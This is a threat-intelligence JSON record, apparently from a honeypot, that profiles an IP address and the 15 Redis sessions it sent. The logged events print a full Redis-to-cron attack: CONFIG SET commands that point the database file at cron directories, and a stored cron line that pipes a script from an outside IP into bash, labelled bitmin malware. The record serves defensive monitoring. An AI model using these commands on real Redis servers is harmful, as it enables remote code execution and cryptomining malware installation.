{"ip":"187.153.53.86","data_as_of":"2026-10-26T22:46:51+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"11 interactive session(s) carried an exploit attempt","confidence":"high","network_type":"network services","why":["11 interactive session(s) carried an exploit attempt.","5+ sessions raise confidence to high.","Not in any known-scanner range.","Sent 4,415 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"4,415 bytes sent","bytes_sent":4415,"session_seconds":12,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-16T20:20:17","last_seen":"2026-10-16T21:23:50","events_24h":0,"events_7d":0,"interactive_sessions":15,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[{"protocol":"redis","sessions":15}],"geo":{"country_code":"MX","country_name":"Mexico","region":"","city":"","lat":null,"lon":null,"asn":8151,"org":"UNINET"},"source_domain":"dsl-86-53-153-187-dynamic.prod-infinitum.com.mx","known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"19877a831fe97dde1b18a2adb848977ab6a213b219d8cc92d998382512294163","family":"bitmin","vt_name":"init.sh","malicious":14,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":6379,"hits":4,"last_seen":"2026-10-16 20:35:08"}],"udp":null,"interaction":{"window_days":90,"sessions":15,"first_seen":"2026-10-16T20:20:17","last_seen":"2026-10-16T21:23:50","verdicts":[{"verdict":"upload","sessions":7},{"verdict":"scan","sessions":4},{"verdict":"exploit-attempt","sessions":4}],"personas":[{"persona":"redis@6.2.14","sessions":15}],"services":[{"protocol":"redis","port":6379,"sessions":15}],"logins":[],"commands":[],"downloads":[{"url":"[http]://195[.]178[.]110[.]29/d/432936b3a0439572/o/gttt555/init.sh","host":"195[.]178[.]110[.]29","sessions":7,"first_seen":"2026-10-16T20:35:08","last_seen":"2026-10-16T21:23:50","virustotal":{"sha256":"19877a831fe97dde1b18a2adb848977ab6a213b219d8cc92d998382512294163","status":"known","malicious":14,"total":75,"name":"init.sh"}}],"files":[{"sha256":"486d9affb60dbb0063b03d8e23a6ccf6364ce203dc3a9f56f20e750eb41ecade","name":"eval","size":8,"mime_type":"text/plain","kind":"redis-script","times":3,"first_seen":"2026-10-16T20:45:46","last_seen":"2026-10-16T20:55:00","virustotal":null},{"sha256":"7b0e3509912ca46025eb9c94d814cdbd63eeb136b8402b39a9be2013131bef9b","name":"x","size":89,"mime_type":"text/plain","kind":"redis-value","times":2,"first_seen":"2026-10-16T21:23:48","last_seen":"2026-10-16T21:23:49","virustotal":null},{"sha256":"06bef4fc177ca093af590b731acd963024de53241a9ca400f5da8d6c5f9c0d81","name":"x","size":91,"mime_type":"text/plain","kind":"redis-value","times":2,"first_seen":"2026-10-16T21:22:48","last_seen":"2026-10-16T21:22:49","virustotal":null},{"sha256":"5a5139c545520d62e2820d2b9c69e206bbff1ec96bbe810b365e3769519189df","name":"x","size":94,"mime_type":"text/plain","kind":"redis-value","times":1,"first_seen":"2026-10-16T21:23:50","last_seen":"2026-10-16T21:23:50","virustotal":null},{"sha256":"aeb176b02a27e26bd4c3b223ce1256af49549e376bda610dd9904930f365d681","name":"x","size":96,"mime_type":"text/plain","kind":"redis-value","times":1,"first_seen":"2026-10-16T21:22:49","last_seen":"2026-10-16T21:22:49","virustotal":null},{"sha256":"f0f564903fed089770818d4ae2f806330d43b88067b8ff39d0ee4ee9f2dac41d","name":"x","size":96,"mime_type":"text/plain","kind":"redis-value","times":1,"first_seen":"2026-10-16T20:35:07","last_seen":"2026-10-16T20:35:07","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":4},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":11},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":7}]},"top_ports":[{"port":6379,"proto":"tcp","label":"Redis","count":0,"sessions":15}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-16","count":0,"sessions":15}],"recent_events":[{"timestamp":"2026-10-16T21:23:50","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nSAVE\r\n","payload_hex":"2a310d0a24340d0a534156450d0a","method":"","user_agent":"","ja3":"","session":"a2779fdc-7b2e-4e8c-9265-f84749392cda-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d5e6ea1662e03f90","label":"Redis (RESP)","strings":["SAVE"]},"interactive":true},{"timestamp":"2026-10-16T21:23:50","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$94\r\n\n\nroot */1 * * * * curl -s http://195.178.110.29/d/432936b3a0439572/o/gttt555/init.sh | bash\n\n\r\n","payload_hex":"2a330d0a24330d0a5345540d0a24310d0a780d0a2439340d0a0a0a726f6f74202a2f31202a202a202a202a206375726c202d7320687474703a2f2f3139352e3137382e3131302e32392f642f343332393336623361303433393537322f6f2f677474743535352f696e69742e7368207c20626173680a0a0d0a","method":"","user_agent":"","ja3":"","session":"a2779fdc-7b2e-4e8c-9265-f84749392cda-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5687e1d99d483d88","label":"Redis (RESP)","strings":["root */1 * * * * curl -s http://195.178.110.29/d/432936b3a0439572/o/gttt555/init…"],"iocs":{"urls":["http://195.178.110.29/d/432936b3a0439572/o/gttt555/init…"],"ips":["195.178.110.29"],"paths":["/195.178.110.29/d/432936b3a0439572/o/gttt555/init"]}},"interactive":true},{"timestamp":"2026-10-16T21:23:50","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431300d0a646266696c656e616d650d0a24340d0a726f6f740d0a","method":"","user_agent":"","ja3":"","session":"a2779fdc-7b2e-4e8c-9265-f84749392cda-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"eb318e53f0d54145","label":"Redis (RESP)","strings":["CONFIG","dbfilename","root"]},"interactive":true},{"timestamp":"2026-10-16T21:23:50","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$11\r\n/etc/cron.d\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a2431310d0a2f6574632f63726f6e2e640d0a","method":"","user_agent":"","ja3":"","session":"a2779fdc-7b2e-4e8c-9265-f84749392cda-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"cb43bf20522aa121","label":"Redis (RESP)","strings":["CONFIG","/etc/cron.d"],"iocs":{"paths":["/etc/cron.d"]}},"interactive":true},{"timestamp":"2026-10-16T21:23:50","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$14\r\nrdbcompression\r\n$2\r\nno\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431340d0a726462636f6d7072657373696f6e0d0a24320d0a6e6f0d0a","method":"","user_agent":"","ja3":"","session":"a2779fdc-7b2e-4e8c-9265-f84749392cda-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9267b26b65625fe0","label":"Redis (RESP)","strings":["CONFIG","rdbcompression"]},"interactive":true},{"timestamp":"2026-10-16T21:23:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nSAVE\r\n","payload_hex":"2a310d0a24340d0a534156450d0a","method":"","user_agent":"","ja3":"","session":"b7e84f2d-e998-48f1-bc94-2965f4a4e9c7-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d5e6ea1662e03f90","label":"Redis (RESP)","strings":["SAVE"]},"interactive":true},{"timestamp":"2026-10-16T21:23:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$89\r\n\n\n*/1 * * * * curl -s http://195.178.110.29/d/432936b3a0439572/o/gttt555/init.sh | bash\n\n\r\n","payload_hex":"2a330d0a24330d0a5345540d0a24310d0a780d0a2438390d0a0a0a2a2f31202a202a202a202a206375726c202d7320687474703a2f2f3139352e3137382e3131302e32392f642f343332393336623361303433393537322f6f2f677474743535352f696e69742e7368207c20626173680a0a0d0a","method":"","user_agent":"","ja3":"","session":"b7e84f2d-e998-48f1-bc94-2965f4a4e9c7-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"4caa0d9d3a166fc9","label":"Redis (RESP)","strings":["*/1 * * * * curl -s http://195.178.110.29/d/432936b3a0439572/o/gttt555/init.sh |…"],"iocs":{"urls":["http://195.178.110.29/d/432936b3a0439572/o/gttt555/init.sh"],"ips":["195.178.110.29"],"domains":["init.sh"],"paths":["/195.178.110.29/d/432936b3a0439572/o/gttt555/init.sh"]}},"interactive":true},{"timestamp":"2026-10-16T21:23:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431300d0a646266696c656e616d650d0a24340d0a726f6f740d0a","method":"","user_agent":"","ja3":"","session":"b7e84f2d-e998-48f1-bc94-2965f4a4e9c7-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"eb318e53f0d54145","label":"Redis (RESP)","strings":["CONFIG","dbfilename","root"]},"interactive":true},{"timestamp":"2026-10-16T21:23:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$15\r\n/var/spool/cron\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a2431350d0a2f7661722f73706f6f6c2f63726f6e0d0a","method":"","user_agent":"","ja3":"","session":"b7e84f2d-e998-48f1-bc94-2965f4a4e9c7-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"13a5878908999b74","label":"Redis (RESP)","strings":["CONFIG","/var/spool/cron"],"iocs":{"paths":["/var/spool/cron"]}},"interactive":true},{"timestamp":"2026-10-16T21:23:49","port":6379,"proto":"tcp","app_proto":"redis","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$14\r\nrdbcompression\r\n$2\r\nno\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431340d0a726462636f6d7072657373696f6e0d0a24320d0a6e6f0d0a","method":"","user_agent":"","ja3":"","session":"b7e84f2d-e998-48f1-bc94-2965f4a4e9c7-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9267b26b65625fe0","label":"Redis (RESP)","strings":["CONFIG","rdbcompression"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":7}]}